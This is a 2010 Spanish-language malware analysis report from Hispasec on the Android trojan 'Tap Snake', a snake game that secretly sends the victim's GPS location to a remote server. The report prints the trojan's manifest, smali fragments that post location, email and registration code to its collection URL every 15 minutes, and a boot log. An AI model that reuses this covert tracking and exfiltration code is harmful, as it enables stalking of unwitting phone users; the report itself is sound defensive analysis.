



HISPASEC SISTEMAS

SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN

**Documento técnico:
Estudio del troyano: "Tap Snake"**

Septiembre 2010

Víctor Antonio Torre
vtorre@hispasec.com



Índice

1	INTRODUCCIÓN	3
2	ESTUDIO	4
3	REFERENCIAS	7

Hispacec Sistemas S.L.

Avda Juan López Peñalver, 17
Edificio Centro de Empresas CEPTA
Parque Tecnológico de Andalucía
29590 Campanillas (Málaga)

Telf: (+34) 902 161 025
Fax: (+34) 952 028 694

Información General
info@hispasec.com

Comercial
comercial@hispasec.com

www.hispasec.com

Copyright

El Copyright de este documento es propiedad de Hispasec Sistemas S.L. Hispasec Sistemas S.L. proporciona este documento bajo la condición de que será tratado con confidencialidad. No está permitida su reproducción total o parcial ni su uso con otras organizaciones para ningún otro propósito, excepto autorización previa por escrito.

1 Introducción

Hace unos días Symantec detectó una nueva aplicación maliciosa para la plataforma Android. Un troyano que recolecta datos sobre nuestra posición GPS y que se presenta disfrazado del conocido y antiguo juego de la serpiente. Bajo el nombre de "Tap Snake", la aplicación podía ser descargada del Android Market.

El funcionamiento malicioso es el siguiente:

Se instala el juego que contiene el troyano "Tap Snake" y se registra en una aplicación web alojada en Google App Engine. Cada 15 minutos enviará los datos de posicionamiento GPS a esa misma aplicación, concretamente a la dirección:

```
http://gpsdatapoints.appspot.com/addPoint
```

Es decir, el atacante debe tener acceso físico al terminal de la víctima para instalar "Tap Snake".

Por otra parte, alguien que quisiese obtener esos datos de posicionamiento, debe instalar otra aplicación del mismo creador llamada "GPS Spy".

"GPS Spy" es el cliente que el atacante instalará en su propio terminal para espiar a la víctima. Si le introducimos los datos del alta de la víctima irá obteniendo los datos almacenados de su posición.

Se efectúa análisis sobre el componente troyano, incluido en la aplicación "Tap Snake". El cliente "GPS Spy" carece de interés ya que su funcionalidad se reduce al consumo de datos de la aplicación web.

2 Estudio

Denominación: AndroidOS.Tapsnake

MD5: 7937c1ab615de0e71632fe9d59a259cf.

La aplicación usa el siguiente icono:



Si desempaquetamos la aplicación podemos ver el fichero "AndroidManifest.xml"

```
1 <?xml version="1.0" encoding="UTF-8"?>
2 <manifest android:versionCode="122" android:versionName="1.2.2" package="net.maxicom.android.snake"
3   xmlns:android="http://schemas.android.com/apk/res/android">
4   <uses-sdk android:minSdkVersion="3" />
5   <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
6   <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
7   <uses-permission android:name="android.permission.INTERNET" />
8   <uses-permission android:name="android.permission.WAKE_LOCK" />
9   <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
10  <application android:label="Tap Snake" android:icon="@drawable/icon">
11    <activity android:name="Snake" android:screenOrientation="portrait" android:configChanges="keyboardHidden|orientation">
12      <intent-filter>
13        <action android:name="android.intent.action.MAIN" />
14        <category android:name="android.intent.category.LAUNCHER" />
15      </intent-filter>
16    </activity>
17    <service android:name=".SnakeService" android:enabled="true" />
18    <receiver android:name=".BootDetector">
19      <intent-filter>
20        <action android:name="android.intent.action.BOOT_COMPLETED" />
21      </intent-filter>
22    </receiver>
23  </application>
24 </manifest>
```

En primer lugar vemos la versión 1.2.2 y el nombre del paquete es:

net.maxicom.android.snake.

ya en el manifiesto se puede observar la declaración de permisos que necesita la aplicación:

android.permission.ACCESS_COARSE_LOCATION

android.permission.ACCESS_FINE_LOCATION

Respectivamente son los permisos para localización Wifi y GPS.

A continuación se declara un servicio "SnakeService" que es donde se recoge la funcionalidad maliciosa. Dicho servicio es instalado y se inicia en cada reinicio del terminal.

- SnakeService:

La clase "SnakeService" inicial el hilo de la clase "SnakeService\$1".

Para que el hilo sea iniciado es necesario que existan las "Properties", "settings" en el dispositivo.

Para facilitar la lectura vamos a sustituir el nombre de \$1 por Thread y \$1\$1 por Handler. Esto es debido a que las clases heredan de estos objetos.

El método "void run()" de la clase "SnakeServiceThread", llama a un objeto "LocationManager" del sistema e inserta un manejador "LocationListener" para recabar los datos GPS.

La clase "LocationListener" envía un mensaje "onLocationChanged()" que envía un "SnakeServiceHandler" cuando la posición GPS cambia.

Por último tenemos la clase "SnakeServiceHandler" que es quien maneja el mensaje que envía el localizador cuando la posición es cambiada.

Podemos ver de forma simple si listamos las líneas que contengan "const-string" los datos que envía, dónde y la codificación usada:

```
const-string v6, "?email="
const-string v7, "UTF-8"
const-string v6, "&code=" #Código de registro
const-string v7, "UTF-8"
const-string v6, "&time="
const-string v6, "&lat="
const-string v6, "&lng="
const-string v6, "&pro=" #Proveedor
const-string v6, "&acc=" #Precision
const-string v5, "http://gpsdatapoints.appspot.com/addPoint"
```

Estos datos son enviados por POST al servidor.

```
#v3=(UninitRef);
const-string v5, "http://gpsdatapoints.appspot.com/addPoint"

invoke-direct {v3, v5}, Lorg/apache/http/client/methods/HttpPost;->init(Ljava/lang/String;)V

.line 75
.local v3, post:Lorg/apache/http/client/methods/HttpPost;
#v3=(Reference);
new-instance v5, Lorg/apache/http/client/entity/UrlEncodedFormEntity;

#v5=(UninitRef);
new-instance v6, Ljava/net/URI;

#v6=(UninitRef);
invoke-direct {v6, v4}, Ljava/net/URI;->init(Ljava/lang/String;)V

#v6=(Reference);
const-string v7, "UTF-8"

#v7=(Reference);
invoke-static {v6, v7}, Lorg/apache/http/client/utils/URLEncodedUtils;->parse(Ljava/net/URI;Ljava/lang/String;)Ljava/util/List;

move-result-object v6

invoke-direct {v5, v6}, Lorg/apache/http/client/entity/UrlEncodedFormEntity;->init(Ljava/util/List;)V
```

El programa realiza un bucle para que los datos se envíen cada 15 minutos (0xdbba0 = 900000 segundos) al servidor.

```
727     sub-long/2addr v5, v7
728
729     const-wide/32 v7, 0xdbba0
730
731     cmp-long v5, v5, v7
732
733     #v5=(Byte);
734     if-gez v5, :cond_2
735
```

Sólo envía datos al servidor si el dispositivo tiene registrada la aplicación, de lo contrario no se crea el hilo "SnakeServiceThread".

El siguiente log se produce al arrancar el dispositivo tras haber registrado el juego.

```

05:39:47.580 I 53 PackageParser net.maxicom.android.snake: compat added android.permission.WRITE_EXTERNAL_STORAGE android.permission.READ_PHONE_STATE
    * * *
05:40:28.559 D 193 Exchange BootReceiver onReceive
05:40:28.638 I 53 ActivityManager Start proc net.maxicom.android.snake for broadcast net.maxicom.android.snake/.BootDetector: pid=201 uid=10024 gids={3003, 1015}
05:40:28.669 D 193 EAS SyndManager !!! EAS SyndManager, onCreate
05:40:29.558 D 29 dalvikvm GC freed 284 objects / 10848 bytes in 903ms
05:40:29.717 D 201 ddm-heap Got feature list request
05:40:29.978 W 112 ContactAggregator No more aggregation requests
05:40:30.178 D 193 EAS SyndManager !!! EAS SyndManager, onStartCommand
05:40:30.199 D 29 dalvikvm GC freed 50 objects / 2224 bytes in 574ms
05:40:30.379 D 193 EAS SyndManager !!! EAS SyndManager, stopping self
05:40:30.677 D 29 dalvikvm GC freed 2 objects / 48 bytes in 459ms
05:40:30.977 D 201 LocationManager Constructor: service = android.location.ILocationManager$Stub$Proxy@43b8e950
05:40:31.009 D 53 GpsLocationProvi... setMinTime 1000000
05:40:31.018 D 53 GpsLocationProvi... startNavigating
05:40:31.057 D 193 Eas Debug Logging:
05:40:31.098 D 193 EAS SyndManager !!! EAS SyndManager, onDestroy
05:40:31.147 E 53 LocationManager... requestUpdates got exception:
05:40:31.147 E 53 LocationManager... java.lang.IllegalArgumentException: provider=network
05:40:31.147 E 53 LocationManager... at com.android.server.LocationManagerService.requestLocationUpdatesLocked(LocationManagerService.java:861)
05:40:31.147 E 53 LocationManager... at com.android.server.LocationManagerService.requestLocationUpdates(LocationManagerService.java:831)
05:40:31.147 E 53 LocationManager... at android.location.ILocationManager$Stub.onTransact(ILocationManager.java:79)
05:40:31.147 E 53 LocationManager... at android.os.Binder.execTransact(Binder.java:287)
05:40:31.147 E 53 LocationManager... at dalvik.system.NativeStart.run(Native Method)
    
```

Como podemos ver en la primera línea la aplicación tiene otros permisos implícitos que permiten a la aplicación salvar datos en memoria. Este permiso siempre aparece, dado que los datos de "email" y "code" se almacenan en el sistema para posteriormente enviarlos en la petición.

3 Referencias

Informe de Symantec:

http://www.symantec.com/security_response/writeup.jsp?docid=2010-081214-2657-99

Informe de F-secure:

<http://www.f-secure.com/weblog/archives/00002011.html>

Informe de TrendMicro:

<http://blog.trendmicro.com/malicious-android-app-spies-on-users-location/>

Reporte de VirusTotal:

<http://www.virustotal.com/file-scan/report.html?id=6953fb1a1245c4bfaba98fd799a6222fde3567b7bf7380aca2a7ecf006c8c678-1282118088>